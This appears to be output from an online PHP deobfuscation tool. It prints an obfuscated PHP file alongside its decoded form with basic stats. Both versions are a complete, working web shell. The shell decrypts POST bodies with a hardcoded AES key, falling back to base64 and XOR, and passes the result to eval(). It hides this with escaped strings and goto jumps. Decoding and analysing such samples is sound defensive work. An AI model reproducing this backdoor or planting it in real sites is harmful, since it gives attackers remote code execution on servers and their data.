Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
goto QJl4n; QJl4n: @error_reporting(0); goto c5i9W; M7iya: if ($_SERVER["\x52\x45\x51\125\..
Decoded Output download
<? goto QJl4n; QJl4n: @error_reporting(0); goto c5i9W; M7iya: if ($_SERVER["REQUEST_METHOD"] === "POST") { $key = "0028049b67db9cf7"; $_SESSION["k"] = $key; $post = file_get_contents("php://input"); if (!extension_loaded("openssl")) { $t = "base64_" . "decode"; $post = $t($post . ''); for ($i = 0; $i < strlen($post); $i++) { $post[$i] = $post[$i] ^ $key[$i + 1 & 15]; } } else { $post = openssl_decrypt($post, "AES128", $key); } $arr = explode("|", $post); $func = $arr[0]; $params = $arr[1]; class C { public function __invoke($p) { eval($p . ''); } } @call_user_func(new C(), $params); } goto YoWwG; c5i9W: session_start(); goto M7iya; YoWwG: ?>
Did this file decode correctly?
Original Code
goto QJl4n; QJl4n: @error_reporting(0); goto c5i9W; M7iya: if ($_SERVER["\x52\x45\x51\125\x45\x53\124\137\115\105\x54\x48\x4f\x44"] === "\120\117\x53\124") { $key = "\x30\60\x32\x38\x30\x34\71\142\66\67\x64\142\x39\x63\x66\x37"; $_SESSION["\x6b"] = $key; $post = file_get_contents("\160\x68\x70\72\x2f\x2f\151\156\x70\x75\x74"); if (!extension_loaded("\x6f\x70\145\156\163\163\x6c")) { $t = "\142\x61\x73\x65\66\64\x5f" . "\144\145\143\x6f\x64\x65"; $post = $t($post . ''); for ($i = 0; $i < strlen($post); $i++) { $post[$i] = $post[$i] ^ $key[$i + 1 & 15]; } } else { $post = openssl_decrypt($post, "\101\x45\x53\x31\62\x38", $key); } $arr = explode("\174", $post); $func = $arr[0]; $params = $arr[1]; class C { public function __invoke($p) { eval($p . ''); } } @call_user_func(new C(), $params); } goto YoWwG; c5i9W: session_start(); goto M7iya; YoWwG:
Function Calls
None |
Stats
MD5 | ee3837b71a72fd362531512ee1f4b913 |
Eval Count | 0 |
Decode Time | 62 ms |